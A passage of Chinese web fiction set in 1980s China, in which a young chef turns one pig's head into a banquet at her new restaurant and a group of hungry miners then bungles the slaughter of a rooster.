贺明珠眼睛一眯,把猪头塞到梁志胜怀里,这小子被吓一跳,两只手吃力地揪着猪耳朵,险些没抱住,把猪头给砸地上了。 梁志胜还没反应过来,贺明珠又塞给他一把小刀、一个刷子和一个塑料大盆,指了指瓦房旁的空地,指挥道: “你去把猪头洗了。” 梁志胜抗议:“喂喂喂,我可是客人!” 贺明珠轻飘飘来了一句:“客随主便,客人没有点餐的权力。你要是客人的话,那吃什么就得听我的了哦。” 梁志胜默默住嘴,抱着这一堆东西,老老实实去洗猪头了。 孙向前左右看看,说:“我和他一起去洗吧。” 贺明珠叫住人,让他去村里做豆腐的那家买几块豆腐回来。 两个小男生都被打发去干活,贺明军溜溜达达过来,啧了一句:“这俩小子还怪听话的。” 贺明珠一扬脖,带着点小骄傲地说:“也不看看我是谁,敢不听大厨的话,今天都得喝西北风。” 贺明军笑着问他:“大厨,那我要干什么?” 贺明珠想了想,说:“你去备菜吧,今天要把这一整只猪头都做了,用到的辅料可不少。” 这只猪头可是足足有三十斤呢,算是这个年代出栏生猪里的巨无霸了,也不知道梁志胜是怎么从肉联厂把猪头偷渡出来的。 这会儿,梁志胜正拿着小刀吭哧吭哧地刮着猪头上的细碎猪毛呢,一丝不苟,刮得十分认真。 毕竟这猪头等下是要自己吃的,可不能留下一丁半点的脏东西。 梁志胜在家里一向是酱油瓶子倒了都不带扶的主儿,每天等着吃现成,十成十地身体力行了什么叫君子远庖厨。 不过他是见过爹妈怎么处理猪头,虽然手法上还有些生疏,但洗起来还算有模有样。 刮毛、冲耳朵、扣猪嘴、涮猪鼻,梁志胜连猪舌头都揪出来,把上面的舌苔刷干净,从内而外将猪头洗了个干干净净。 梁志胜将洗好的猪头交给贺明珠,她也不检查,放到案板上就开始分割,一颗硕大的猪头在她手下分崩离析。 梁志胜不由得庆幸,还好他没偷懒,不然要是洗得不干净的话,那遭罪的就是自己了。 贺明珠一手持菜刀,一手按猪头,下刀快而精准,寒光闪过,猪头骨肉分离,案板旁的盘中摆上了猪耳、猪鼻、猪舌、猪天梯…… 一块颤悠悠的豆腐似的猪脑被贺明珠利落地从头盖骨中掏出,纤白手指轻捻血筋,一点猪血从指间滑落。 梁志胜莫名感觉头皮一阵发麻,悄没声地退出了厨房。 不知道为啥,明明屠宰场的画面更血腥,但眼睁睁地看着贺明珠把一整只猪头拆掉皮肉,只余被扒了皮的猪脸骨,上面还有两只没眼皮的猪眼珠,这画面对他来说有点刺激过度。 他还是到外面等吧…… 梁志胜是头一次来分矿新店,之前他满脑子都是接下来要吃的猪头宴,这会儿才有余心去观察店内布置。 这家店看起来……很陌生,也很新奇。 这年头的饭店里普遍都是在店内摆上几张或圆或方的桌子,围放一圈板凳,客人们来了,分别落座,由服务员上前服务,点菜付钱上菜用餐,基本都是这个流程。 毕竟现在来饭店吃饭不是一件很日常的活动,不管是对于客人,还是对于饭店,都沿用了以前的老习惯,用餐思维和建国前相比没有太大变化,顶多就是店小二变成了服务员,但实际上需要做的事都差不多。 而这家新店,却完全不同。 店内两侧靠墙的位置上,是一排的双人桌,一张小桌两张椅子,两人相向而坐;而在中间,则是一排四人桌的桌椅。 靠门口窗户的位置上,是一整张高脚长桌,配套的也是高脚凳。坐在这里的客人,面向窗外,可以独自一人用餐,也可以和三两好友并排而坐。 厨房在收银台的后面,和一矿的店一样,隔着一整面的拼接玻璃可以清楚看到后厨工作的场景。 梁志胜从来没见过这样的布局,便假装自己是到店的客人,屋里屋外来回走,两人座四人座和靠窗的单人座都试了一个遍。 他惊奇地发现,作为客人而言,在店内的路线很方便,从门口一条直线走到尽头的收银台,点菜付钱后再回到座位,不需要绕圈子,更不需要走回头路。 梁志胜由衷地感叹:这是谁想出来的啊,也太聪明了吧! 当孙向前买完 豆腐、拎着菜篮子回来时,梁志胜一把拉过他,兴奋地说:“你看店里的布局!是不是从来没见过?” 孙向前比他淡定多了,一早就注意到店内布置的不同。 他轻轻敲了敲新店的桌子,对梁志胜说:“你有没有发现桌椅有什么不同?” 桌椅? 梁志胜低头去看,桌椅是木头做的,颜色是淡黄色,没刷漆,能看到木头的纹路,其他的看起来没什么特殊的啊。 孙向前说:“这个桌子,和我们用的桌子都不一样。” 村民自家砍的木头普遍生长年份短,粗细还不到一人合抱,而杨木的材质也让这些木头质地偏软,容易变形。 如果按照通常做法,将这些杨木制成实木桌椅的话,一方面需要耗用的木材量大,另一方面在饭店高频次的使用场景下,桌椅坏的频率也会上升。 因此,贺明珠让木匠将杨木都切割为大小相等的板材,按照桌椅的尺寸,或切割或胶合,制成仅有数厘米厚的桌椅板面。之后打磨抛光,上一层透明清漆,组装后制成完整的桌椅。 由于杨木材质轻软的特性,使其比其他木头更容易加工。而且杨木的纹理清晰美观,无须过多上漆修饰,就有一种自然而舒适的观感。 这些颜色淡雅的桌椅也使瓦房内看起来更加亮堂,在光线不足的时候,能起到增强明亮感的作用。 在设计这家新店的装修时,贺明珠参考了现代快餐店的布局和装饰,虽然由于时间紧张和材料有限,没能完全复刻,但也让新店有着与同时期饭店完全不同的就餐体验。 梁志胜在店里东摸摸西看看,连接下来的猪头宴暂时抛之脑后,满心都是“哇,这是什么”“哇这又是什么”的新奇感。 孙向前将菜篮子拿到厨房,交给了贺明珠。 一旁的贺明军瞟了一眼,惊奇地说:“怎么还有这么多的菜?你买的?” 孙向前有点不好意思地说:“没买,大娘送的。” 村里很少见这样白净乖巧的学生仔,孙向前笑起来干净清爽,看着就是一副好学生的模样,卖豆腐的大娘看了就喜欢。 她给孙向前捞了几块豆腐后,喊住他等一下,又去菜园子里拔了好几棵菜,孙向前推辞再三无果后,想要从兜里掏钱出来,把菜钱付了。 大娘强行把菜塞到他菜篮子里,又将孙向前推出了门,乐呵呵地说: “自家种的菜,不值钱,要什么钱呢,拿回去吃吧!” 孙向前无奈,只好提着菜篮子回来了。 听到孙向前买豆腐送菜的故事,贺明军有点郁闷地说:“我也在大娘家买过豆腐,怎么大娘就从没给我送菜呢?” 贺明珠正在给猪头焯水,闻言笑道:“可能是你长得看起来不像好人吧。” 贺明军很冤枉:“我哪儿不像好人了?我每次买豆腐都给钱了。” 他生了一副剑眉星目的英俊模样,偏偏这英俊中带了点血气,不仅看着不好惹,实际也很不好惹。 自从听说知青住过的大瓦房现在被外地人租了开饭店,老板还是个顶漂亮的年轻小姑娘,村里的二流子老光棍们沸腾了,闲了就过来转悠。 有次被贺明军撞见了,他拎着钢钎出去一趟,第二天,店外就再没见过这群二流子。 见识过贺明军眉压眼的狠戾模样,再听到这话,孙向前默默在心里腹诽:明珠同学她二哥,你什么时候看起来都不像好人啊…… 孙向前进了厨房,梁志胜屁颠屁颠地也跟进来,兴奋地说: “贺同学,你怎么想到这么设计饭店布局的?太厉害了,我可从来没见过这样的饭店!真想天天来这家店吃饭!” 一听这话,贺明军很骄傲:“那可是我妹妹,能不厉害吗?” 拎着抹布路过的徐和平吐槽:“哥们,你这有点太骄傲了吧……” 厨房里挤了一群人,吵吵嚷嚷的,拿个调料都不方便,贺明珠烦了,将这一群人都轰出去。 “走走走,别影响我做菜!” 梁志胜腆着脸想留下来:“我就看看,不偷吃……” 这话在场的人没一个相信的。 孙向前笑着将梁志胜拉出去:“我们还是在外面等吧。” 这四个人是老熟人了,互相都不陌生,是在一个饭桌上抢过菜的交情,坐在一起就开始侃大山。 梁志胜好奇心重,左问右问关于新店的事,贺明军就讲起了从选址租房再到设计装修期间发生的一系列事,徐和平在一旁补充。 这俩家伙嘴上跑火车,把开店的事说出了花,九九八十一难都快要列出来了。 梁、孙两人还是没出校门的学生,还是头一次听到这些事,新奇极了,忘了时间的流逝。 不知过了多长时间,厨房内传出一股香味。 先是极淡,接着由淡转浓,直到满屋子都是铺天盖地的浓郁香味,像一只只小手,顺着鼻子游进肚子里,轻轻地勾搭着胃里的馋虫。 梁志胜的口水一下子就出来了。 他腾地一下站起来,故事也顾不得听了,小跑着就朝着厨房过去了。 “我去端菜!” 贺明军和徐和平也站起来,他们俩吃得多,还算有抵抗力,一个说我去拿碗,一个说我去拿筷子,不紧不慢地进了厨房。 孙向前慢了一步才站起来,想了想,他没去厨房挤,而是留在了外面,将两张桌子并在一起,以便等会儿几个人坐下来吃饭。 才摆好桌子,梁志胜高高举着一盘菜就出来了。 “嘿嘿,卤猪耳朵!” 他把盘子放在桌上,快手捻了一块猪耳朵塞到自己嘴里。 孙向前忙制止道:“哎,你还没洗手!” 梁志胜嘿嘿一笑,嘴里嚼着东西顾不上说话,又从盘子里拿起一块猪耳朵,强塞到了孙向前嘴里。 这家伙没洗手! 孙向前一惊,要吐出来时,却先尝到了卤味的香气,一个犹豫,猪耳朵似乎就要在温暖的口腔内融化了,一种油润的脂香在舌尖上绽放开来。 他没忍住,轻轻嚼了一下,牙齿上传来的触感先是极致的软糯,然后才是软骨,清脆弹牙,当他咬下去,耳边似乎听到了“嘣”的声音。 糯,香,脆。 天底下再也没有比猪耳朵更奇妙的食材了。 小而薄的一块肉上,竟然同时汇聚了油润的肥肉、筋道的瘦肉,以及弹牙的脆骨。 一口咬下去,可以同时品尝到肥肉瘦肉脆骨这三种迥然不同的口感,每一口都是享受。 加上卤过的猪耳朵,其蕴含的丰富油脂都被逼到表面,吃起来油润咸香,口感滑腻,越吃越想吃。 几乎是下意识的,孙向前将这一块猪耳朵吃得干干净净。当咽下最后一块猪耳朵,他口中已经是空空如也,却还残留着浓郁的卤香味。 这一会儿工夫,梁志胜这家伙已经开始偷吃第二块、第三块了。 当他正朝着第四块猪耳朵下手时,手背被人啪地打了一下,疼得他嗖地一缩手。 “菜没上齐,人没坐齐,谁让你先吃的?” 贺明军端着另一盘菜出来,放在了桌上,凉飕飕睨了梁志胜一眼。 他明明是对着梁志胜说的,孙向前却有点羞愧,他刚刚也吃了一块…… 梁志胜这家伙脸皮厚,嬉皮笑脸地说:“哥 ,猪耳朵可好吃了,你要不也尝尝?” 说着话,他又去瞅贺明军刚端上来的菜,问道:“这是什么?猪舌头,还是猪脸?” 贺明军不理他,对孙向前说:“看好这小子,别让他偷吃了。明珠在厨房忙得一口菜都顾不上吃,别回头忙完一看,一桌子菜全被他给祸害了。” 孙向前很郑重地说:“放心,我不会让他再偷吃了。” 梁志胜惨叫一声:“美食摆在面前却不让我碰,这不是要人命吗?别拿豆包不当干粮,别拿这个考验干部啊!” “你就拿这考验干部,哪个干部经得起这样的考验啊!” 梁志胜叫得凄凄惨惨戚戚,孙向前不理他,深吸一口气,做起了菜品守卫者的工作。 明珠同学在厨房忙着给大伙儿做菜,不能让她吃别人吃剩下的残羹冷炙啊。 桌上的菜一样样地摆放上来,有凉有热有汤,颜色鲜亮,滋味各异,虽然都是猪头肉,却有肥有瘦有骨头,看起来很难让人相信这是仅用一只猪头就做出了一桌子的宴席。 等贺明珠脱掉围裙过来吃饭时,其他人早已落座,给她留出了主位。 她一挑眉,也不客气,直接坐了下去,抬手夹了第一筷,示意道:“都是自家人,闲话不多说,咱们就开吃吧。” 话音未落,早就等急了的几人抄起筷子就朝早已看好的菜下起手来,各个心狠手辣,一时间店内不闻人身,只能听到碗筷碰撞的声音。 贺明军一向是动作最快的那个人,也是最识货的,瞅准了桌上的扒烧猪头肉,一筷子夹走一多半,先分给贺明珠,剩下的留着自己吃。 这道扒烧猪头肉是化用了淮扬名菜“扒烧整猪头”的做法,新鲜猪头剔去猪脑猪骨,只留肥厚的猪头肉,放入锅中与酱油、冰糖、甜酒等调料同煮,旺火煮沸,小火慢焖,直至汤稠肉烂。 出锅的猪头肉肥而不腻,肉质烂熟,猪头肉特有的肥厚油脂都被熬到要化不化的地步,用筷子夹起时,仿佛肉可以顺着筷子流淌下来。 吃上一口,猪头肉甜中带咸,入口即化,轻轻嚼一嚼,顺着嗓子眼就咕咚掉进了胃里。 贺明军最爱大口吃肉的滋味,一道扒烧猪头肉让他吃得不亦乐乎,头都不带抬一下。 徐和平则挑了生焗猪口条下筷子。 这道菜新奇,食材是猪舌头,做法是源自西餐的焗法,锅里不加一滴水,全靠食材本身蒸发的水分,通过砂锅传导热量,将切成薄片的猪舌缓慢焗熟。 这种做法做出来的食物鲜嫩香滑,滋味极为浓郁,能够最大限度地保持食材的原汁原味。 猪舌头作为食材来说,其本身的腥味极重,做不好的话吃起来就是一股异味,食不下咽。 贺明珠做菜一向细致,备菜时将猪舌头上的舌苔撕得一点不剩,切掉舌根处的淋巴,冷水下锅料酒去腥,将猪舌上的异味全都祛除干净。 她选用了葱头、辣椒、蒜瓣和老姜,下入砂锅与猪舌同炒,接着放入豆豉酱油调味,最后倒入一小杯白酒,小火焗焖后,出锅的猪舌又香又嫩,吃起来口感微辣,越嚼越香。 徐和平头一次吃猪口条,只觉口感新奇,不是瘦肉也不是肥肉,更与内脏的肉质完全不同。 相比于煎炒煮烧等传统做法,用生焗做法做出来的猪口条香滑脆嫩,又带有一丝丝的韧性。 徐和平细细品味,默默在自己的爱吃清单里加上了猪口条这一项。 下次他要买一整条猪舌头,请小老板单独给他做一份,谁也不分,就他自己吃独食,嘿嘿嘿~ 孙向前没和这几头饕餮抢那几盘子看着就肉多的大菜,而是拿起公勺,目标直指大碗里的豆腐羹。 虽然有点奇怪为什么猪头宴上会出现豆腐羹,但这道菜看起来雪白细腻,口味十足清淡,在一桌子猪头肉所制的各色菜肴中,有种独特的风味。 一勺子豆腐羹盛到碗里,他用小勺舀了一口送到嘴边,轻轻一抿,豆腐就在唇齿间融化。 孙向前反而一楞。 为什么这个豆腐羹吃起来会没有一丝豆腐特有的豆腥味呢? 也不是不好吃,相反的是,这道豆腐羹吃起来细腻鲜美,不需要咀嚼,入口即化。 孙向前又尝了一口,这次他吃得仔细,在豆腐之外,品尝到了一点其他食材的滋味。 这个食材是陌生的,极致的柔滑绵软,也极为的膏腴肥厚,甚至有种奶油般的奇妙口感。 孙向前忍不住问贺明珠:“这道菜很好吃,它的名字是什么?” 贺明珠笑得像只小狐狸,说:“这个嘛,就先不告诉你,保密,好吃就完事儿。” 孙向前满头雾水,但忍不住又舀了一勺。 算了,管它用的是什么食材,像明珠同学说的那样,好吃就够了。 贺明珠之所以没告诉孙向前,是因为这道菜用的是猪脑花。 有些人忌讳吃猪脑,光是看看都受不了,更别提吃到嘴里。 虽然不知道孙向前是不是忌讳群体的一员,但既然他已经吃了,就先别告诉他了,免得这倒霉孩子连其他菜都吃不下去。 不过看他吃得这么香,应该大概也许……不至于吧…… 这道豆腐蒸脑花是贺明珠的得意之作。 一般川渝地区吃猪脑花的比较多,口味大多也是麻辣一类,不管是涮火锅还是烤脑花,吃起来都是一个字,辣。 这其中的原因,一方面是川渝人民对辣味矢志不渝的热爱,另一方面就是猪脑花处理不好的话有腥膻气,需要下重口味调料将腥味压下去。 但新店这边准备的花椒麻椒不够,加上梁志胜带过来的这颗猪头是今天刚杀的,还算新鲜。 贺明珠索性另辟蹊径,取猪脑的嫩和鲜,将脑花上的血筋都撕干净,又放入姜末小葱料酒调味,加入焯过水后去除豆腥味的小块豆腐,上锅隔水蒸。 出锅后的豆腐蒸脑花雪白细腻,吃起来鲜甜可口,一勺舀下去,几乎分不出豆腐和脑花,只觉口味肥润丰腴,柔腻滑润,像是在空口吃奶油。 贺明军和徐和平这两只肉食动物本来对这道疑似豆腐羹的菜无感,但见了孙向前吃得香,便也来凑热闹。 一勺吃完,两人各自发出惊叹。 “我家明珠的厨艺真是没得说了。” “小老板怎么能把豆腐也做得这么好吃?” 贺明珠淡然一笑,深藏功与名。 梁志胜却在对着一盘菜纠结。 他从小到大经常吃猪肉,对猪身上的各个位置都熟记于心,哪怕是做熟的猪肉,他看一眼肉质就能将这块肉在猪身上的位置猜得八九不离十。 但今天这道菜却让梁志胜有点犯难。 无他,这道到底是辣炒猪啥啊?完全猜不出用的是什么肉。 按理说,今天宴席上的所有猪肉都来自于那颗硕大的猪头,而以他对猪头的了解,竟然不知道到底那块肉会有凹凸不平、呈波浪起伏的形状。 梁志胜夹了一筷子肉,仔细端详,看起来这肉不像是后天加工成这个形状,更像是原本就长这样。 他更疑惑了,脑海里把猪头拆解了一遍,从猪耳朵到猪鼻子再到猪口条,实在是想不出这块肉到底来自于哪个位置。 不过梁志胜不是个寻根究底、不弄清答案势不不罢休的人。 他直接将肉塞进嘴里,嚼一嚼,肉质有些硬,还有些像软骨,吃起来弹牙有嚼劲。 而且贺明珠用了大量的辣椒来炒这道菜,吃起来就特别辣,正好符合梁志胜的口味。 他一边嘶哈嘶哈地倒吸冷气,一边乐此不疲地从辣椒中挑着肉来吃,自虐并快乐着。 见这小子吃得这么香,贺明军和徐和平也抢着来吃,一时间,饭桌上响起三道嘶哈嘶哈倒吸冷气的声音。 眼见一盘菜快要吃完,梁志胜终于忍不住问贺明珠: “贺同学,这块肉你是从猪头哪个位置拆下 来的啊?” 贺明珠笑眯眯地说:“这个啊,叫猪天梯。” 猪天梯? 梁志胜更迷糊了,猪头上还能长梯子? 第84章 第84章饕餮来袭 猪天梯是什么肉? 桌上四人都陷入疑惑中,努力思索猪头哪个位置能拆出这块肉。 与猪耳、猪脸、猪舌等猪头上的任一部位的口感都不同,所谓的“天梯肉”质地微硬,弹牙而有嚼劲,吃起来像是软骨,但又比软骨更加柔韧。 梁志胜不确定地说:“猪喉管吗?” 似乎只有连结口腔与胃部的喉管有类似的脆韧口感,但喉管不是光滑的圆环状吗?怎么会出现凹凸不平的表面? 贺明珠摇摇头:“猜错了。” 梁志胜首局告负。 徐和平兴致勃勃地接棒猜道:“是不是猪鼻子上的软骨?你拿擦丝板擦成了现在这个形状?” 贺明珠无语:“我看起来像是有这闲工夫吗?” 徐和平遗憾落败。 贺明军思索片刻,不确定地说:“是猪头骨里面的肉吗?要撬开骨头才能取下来?” 贺明珠想了想,说:“接近了。” 轮到了孙向前,在另外三人希冀的目光中,他不好意思地说:“我也没吃出来是猪头上哪个部位的肉,不过我猜,是不是在猪嘴里?” 不等贺明珠说话,梁志胜先反驳:“怎么可能是在猪嘴里,除了猪口条,猪嘴里面就没什么可吃的肉啊。” 以前家里煮过整只的猪头,火大肉烂,用筷子将猪头挑出锅后,上面肥厚的猪头肉轻轻一扒拉就掉下来,只留下坚硬的骨头。 梁志胜记得,猪脸肉取下来后,上下两片颚骨一掰就开,除了口条外,没什么可吃的东西。 被肉联厂的厂二代么一说,孙向前也不确定了,毕竟他吃过的猪肉可能还没有梁志胜吃过的猪头多,就猪的了解而言,在场的可能没谁比梁志胜更懂猪。 但—— “孙同学已经很接近答案了呢。” 孙向前和梁志胜同时转头看向说话的贺明珠。 贺明珠拿筷子挑起一块天梯肉,在杯子里涮了涮,把上面的辣油都涮掉,露出本来面目。 肉质发白,表面凹凸起伏,有点像改刀后的鱿鱼花。 贺明珠说:“这个啊,有的地方叫猪天梯,也有的地方叫猪天板,还有的地方呢,叫猪上牙膛。” 当听到“上牙膛”这三个字时,其他人还没反应过来,梁志胜猛地恍然大悟,右手握拳,在左手掌上用力击了一下。 “我知道了!是猪上颚!” 上颚是口腔内舌头自然上顶时所碰到的部位,所谓是猪天梯就是指这块形状类似于梯子的软骨。 猪上颚的一整块都是软骨,由于不含脂肪和肌肉,也没有血管,因此也没什么血污,洗干净上面附着的粘液和杂质后,看起来洁净白亮。 而由于其软骨的材质,猪天梯的口感与其他部位皆不相同,弹牙的同时又有些软韧,做熟后类似于烤鱿鱼的口感。 一头猪身上只能出不到一两的猪天梯,即使在仓储丰富、物流便捷的现代,猪天梯的价格也不便宜,更别说是八十年代。 不是特别注重吃的人很少会注意到猪天梯这个特殊部位,毕竟是排骨不够香,还是猪蹄不够软糯,非要和巴掌大的一小块软骨过不去。 但猪天梯毕竟口感很独特,吃起来也有意思,可以假冒一下鱿鱼,是个好玩又好吃的食材。 贺明珠从猪头上拆下来这块天梯肉后,琢磨和大伙儿开个小玩笑,便将肉焯水切条,放入辣椒大火爆炒。 出锅后,盘中多是辣椒段,天梯肉被掩埋在辣椒中,等着食客寻宝似的翻找。 梁志胜惊叹:“我还没想过这块肉也能吃!” 现在的肉联厂没有单独卖猪天梯的,都是整个猪头一起对外出售。 梁家近水楼台先得月,在吃肉方面具有独到优势,嫌猪头处理麻烦,很少把囫囵个的猪头带回来,更别提将猪头如贺明珠一般细致拆分。 梁志胜也是第一次发现,原来猪头上不同位置的肉有着完全不同的风味和口感,吃起来各具风情,别有滋味, 猪耳朵的脆,猪鼻子的弹,猪口条的嫩,猪脸肉的糯…… 一只猪头做出一桌宴席,每道菜不尽相同,却皆是极致美味。 如果不是知道这一顿饭只用了一只猪头作为原材料,梁志胜怎么也不会想出,原来猪头还会有这么丰富的味道。 几个人将满桌的菜一扫而空,最后连满满一盆的猪脸骨炖萝卜汤都喝得干干净净。 村里的大黄过来闻闻骨头,扭头就走。 这骨头被熬干净了最后一滴油脂,现在口感如同嚼木头,狗看了都摇头。 桌上几人吃撑了,懒洋洋地不想动弹,各自瘫在椅子上,有一搭没一搭地聊天。 这时,屋外远远地传来一个人的说话声。 “哎,明军儿,你们饭店又做什么好吃的呢,把全村的狗都招来了!” 未见其人先闻其声,这道声音听着年轻极了,像一道明快的小旋风,一眨眼就席卷进瓦房内。 贺明军动都不带动一下,扬了扬眉毛冲进屋的那人示意。 “杨东风,我看狗鼻子也不如你小子的鼻子灵,隔着这么远的距离就闻着味儿了。” 这个叫杨东风的小青年也不生气,熟稔地冲屋里人打招呼,也不管认不认识,满脸都是灿烂的笑。 “明珠妹妹,要是早知道今天是你亲自下厨,我就算是旷工都得来一趟。” 杨东风穿着分矿的工作服,脸上沾了点煤灰,不太多,但他皮肤白,那点煤灰让他看起来像只小花狗。 贺明珠笑眯眯地说:“那可不行,不能耽误我们未来矿务局总工程师的工作啊。” 杨东风冲贺明珠呲牙一乐,说:“嗨,我离总工的距离就像乌城离北京的距离一样,地图上看着近,实际要走二万五千里的长征路。不能为了摸不着的总工,就放弃近在眼前的美食啊。” 梁志胜是个自来熟,问杨东风:“哥们,你是分矿的技术员?我听说去年分矿来了个大学生技术员,不会就是你吧?” 杨东风冲他抱拳:“不才正是在下。” 孙向前眼睛一亮,这可是大学生啊,活生生的大学生! 推算一下时间,杨东风是恢复高考后的第二年就考上了大学,关键他还这么年轻,看起来并不比他们这群准高中生年长多少。 恢复高考后有那么多人参加考试,这人得多聪明才能从千军万马中挤过独木桥啊。 聪明的杨东风拍拍贺明军的肩膀,问道:“我这几天在澡堂都没见着你大哥,他人哪儿去了?” 贺明军一听这话就乐了。 “老大现在哪儿还敢见你,他被你围追堵截得洗个澡都洗不安生,找领导调了班,你什么时候上班,他什么时候下班洗澡。” 之前在澡池子里追问贺明国什么时候在分矿开新店的正是杨东风。 分矿新店以相当之快的速度就成立开店,离不开他的连环催问,更离不开他在澡堂里不断偶遇贺明国,“裸”诚相待,推心置腹,逼得贺明国下班后顾不上新婚甜蜜,有空就泡在新店里帮忙,以求尽早使新店开业。 贺明国:我真的没有在澡堂脱得光溜溜后和人谈心的癖好…… 杨东风咧嘴一笑,牙齿洁白整齐,笑得眼睛都眯起来。 “嗨,我就是想问问贺明国同志,明珠妹妹什么时候来分矿这边,我要提前空好肚子,免得美食吃得太少。” 杨东风也是经常来新店蹭饭的那几头饕餮中的一个,又或者说,这帮子饕餮全是在他的带动下,才不等分店正式营业,天天跑来缠着贺明军求做菜。 说话间,见桌子上几道盘子中还有一星半点的漏网之鱼,杨东风自来熟地去厨房拿了干净筷子,毫不客气探身去夹。 “唔!这个好!” 杨东风夹的是红烧猪拱,也就是红烧猪鼻子。 猪鼻子是猪头上口感极为 特殊的一块肉。 这块肉质地微韧,却富有弹性,咬下去时甚至会回弹,形成一种奇妙的口感。 与猪脸肉有着厚厚一层肥肉不同,因为脂肪含量少,猪鼻吃起来肥而不腻,并没有那种肥厚丰腴到让人有种过度满足的香腻滋味,而是让人回味再三,忍不住一吃再吃。 猪鼻子这块肉的份量不多,贺明珠将红椒、蒜苗作为配料,与猪鼻子同炒。 桌上众人都爱吃这道菜,将猪鼻子挑得七七八八,只有三两漏网之鱼藏在了红椒和蒜苗的掩盖下。 杨东风眼尖,一眼就瞅见了猪鼻上反射的微微油光,筷子绕过左上方的红椒丝和右下方蒜苗,精准地夹住了这块肉,甚至没有翻动一下菜品。 “好吃!太好吃了!好吃到早退也值了!” 贺明军头痛地说:“你怎么又早退?” 杨东风理直气壮地说:“我要是不早退的话,哪里能吃到这么好吃的菜?话说起来,明珠妹妹你是用什么肉做的这道菜,吃起来和普通的猪肉不太一样啊。” 贺明珠逗他:“猪鼻子啊,就是猪每天在地上拱来拱去的那个部位,你上次去村里养猪的人家时,不是还嫌猪鼻子上全是脏东西吗?” 杨东风沉思:“猪鼻吗?” 片刻,他毅然决然举起筷子就去夹另一块漏网之鱼。 “管他呢,好吃就行,脏不脏的无所谓了,做熟了都一样。” 孙向前:…… 耳边仿佛传来“噼啪”的一声,他对杨东风的大学生滤镜碎成了八瓣。 似乎大学生也没有想象中的聪明呢。 梁志胜悄悄对孙向前说:“要不你和我一样考中专吧,我怎么觉着,大学生也就那样呢?” 当杨东风将桌上几盘菜都翻了一遍,确保无一漏网之鱼,甚至连猪脑蒸豆腐的大碗都用勺子刮了一遍后,大部队饕餮人马向新店袭来。 “明军儿!” “大厨!” “二老板!” 乱七八糟的喊声由远及近,热热闹闹的一群人涌进了分店。 见到店里的杨东风,饕餮们一点也不惊讶,纷纷指责这只脱离组织、单独行动的吃货。 “哎哟,怪不得刚刚没见着你,杨东风你什么时候背着大伙儿来店里了啊?” “嘿,我看这家伙迟早能干出为了吃饭而旷工的事儿。” “不是迟早,是已经干了。这家伙打着维修机器的名头,已经溜出来过好几次了。” 杨东风跳着脚说:“喂喂喂,你们这群家伙比我好到哪儿去了,还不都是一样来分店吃饭?” 又有人注意到桌上明显吃过的一摞盘子,大老爷们对着贺明军抱怨,却更像壮汉撒娇。 “明军儿你怎么背着我们吃独食?有你这么做兄弟的吗?有好吃的都不叫我们,明军儿你变了,你再也不是那个热情欢迎顾客的你了。” 贺明军见怪不怪,骂道:“滚滚滚,一帮饭桶,还欢迎,厨房都快被你们吃空了,再吃下去迟早连墙皮都被你们嚼吧嚼吧吃了。” 还有人从门外挤进来,冲着贺明军就喊: “贺大厨,你瞧瞧我带了什么过来?” 有人炫耀似的向贺明军展示他手里倒提着的一只活蹦乱跳的大公鸡。 “上次你不是说店里没进肉,只能做素菜吗?我去村里买了只鸡,咱们今天吃鸡肉吧!” “对,吃鸡!今天不吃素菜了,我们来点荤的!” “吃鸡吃鸡,炖鸡炒鸡红烧鸡!我们要吃鸡!” “别听他的,明军儿你乐意怎么做就怎么做,我们没意见!” 贺明军扶额,垂死挣扎般吐出一句: “我说店里只能吃菜,是让你们这帮家伙回食堂吃饭啊!食堂有现成的肉菜,你们吃食堂不好吗?!” 那帮子饕餮立刻七嘴八舌地反驳: “食堂不行,食堂哪有你做的好吃。要是让食堂做成菜,这鸡可就白死了。” “食堂厨子肯定贪了我们的伙食费,端上来的肉比指甲盖都小,我才不去食堂。” “贺老板你这就不对了,哪有把顾客往外推的?再说了,我们可不是贪吃,你这新店马上开业,我们来帮帮气势,大伙儿说对不对啊?” “对!” “说得对!” 还有人去厨房寻摸菜刀,又找了个大盆出来,冲贺明军说一句: “我替你把鸡杀了,你就瞧好了,我这祖传杀鸡手艺那是杠杠的!” “我来烧热水!” “我来拔毛!” 一群人闹腾腾地定了分工,拎着那只鸡就又冲出了门,在瓦房外的空地上摆出一副杀鸡架势。 一根鸡毛慢悠悠地飘下来,被贺明珠伸手接住了。 她一言难尽地说:“二哥,这就是你说的‘大哥同事强烈欢迎新店开业’吗?” “这好像有点过度欢迎了吧?” 贺明军呼噜了一把脸,坚强道:“没事儿,他们吃饭付钱。” 外面吵吵闹闹地杀鸡,那个自称有祖传杀鸡手艺的家伙拿着菜刀半天下不去手,被旁边等得不耐烦的围观群众挤开了。 “你这是给鸡挠痒痒呢?起开起开,我来,看我的!” 猛人左手把鸡按在盆上,右手操起菜刀,对准了鸡脖子向下砍去。 “铛”的一声,菜刀的一多半都砍在了盆上,发出一声金属敲击的重响。 猛人下意识松开手,大公鸡扑棱着翅膀从他手中逃窜,飙着血四处乱飞。 猛人给鸡脖子豁开了个口子,非常精准地避开气管,只伤及血管,这种高难度的杀鸡手法,一般屠夫都干不来。 其他人都惊了,缓过神来就大喊: “快快快,拦住那只鸡!” “都来抓鸡,别让鸡跑了!” “鸡肉,我的炖鸡肉!” 这只大公鸡是村里散养的走地鸡,常年为保卫母鸡们与其他公鸡搏斗,战斗力颇为强悍,生命力也相当牛逼。 被一群人类围住,大公鸡毫无惧色,勇猛地冲着人类攻击。 锋利的尖喙,强有力的爪子,还有呼扇起来漫天尘土鸡毛的大翅膀,再配合上四处乱飙的鸡血,硬生生把这帮子城里来的弱鸡吓得尖叫逃窜。 “救命!这鸡啄我脑门!” “快跑快跑,这鸡得疯鸡病了!” “别拿脚踹,我的鸡腿啊!” 贺明珠和贺明军双双沉默地站在店门口,看着眼前的混乱一幕,嘴角止不住地抽搐。 “……其实吧,有些钱也没有那个必要去挣,你说呢?” “……你说得对。” 人仰鸡翻中,一声暴喝传来: “都让开,看我的!” 杨东风勇猛地扑向了大公鸡,人鸡扭打在一起,在地上来回翻滚,卷起大量尘土,呛得其他人连连咳嗽,一时间什么都看不清。 待到尘埃落定,杨东风趴在地上,身下是被他压得奄奄一息的大公鸡。 他头发乱得像鸡窝,抬手擦了一把脸,把手上的鸡血也蹭了上去。 “明珠妹妹!” 杨东风看到门口的贺明珠,眼睛一亮,大喊道: “我要点菜!能不能一鸡三吃!” 第85章 第85章一鸡六吃 杨东风灰头土脸地抱着大公鸡从地上爬起来,乐颠颠地冲着贺明珠就过来了。 “明珠妹妹,给!” 他骄傲地伸出手,把半死不活的鸡朝贺明珠的方向递去。 